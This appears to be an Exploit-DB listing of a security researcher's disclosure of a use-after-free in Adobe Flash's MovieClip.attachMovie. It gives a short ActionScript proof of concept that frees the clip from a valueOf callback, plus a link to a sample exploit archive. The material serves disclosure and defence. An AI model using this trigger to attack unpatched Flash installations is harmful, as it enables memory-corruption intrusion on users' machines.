Adobe Flash MovieClip.attachMovie - Use-After-Free

EDB-ID:

39055

CVE:

N/A




Platform:

Windows

Date:

2015-12-18


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

Source: https://code.google.com/p/google-security-research/issues/detail?id=571

There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free.

A minimal PoC is as follows:

n ={valueOf : func};

function func(){
	
	_global.mc.removeMovieClip();
        // fix heap here;
  	
   }
this.createEmptyMovieClip("mc", 1);
_global.mc = mc;
mc.attachMovie("myResetButton","newResetButton", n);

A sample swf and fla are attached.


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39055.zip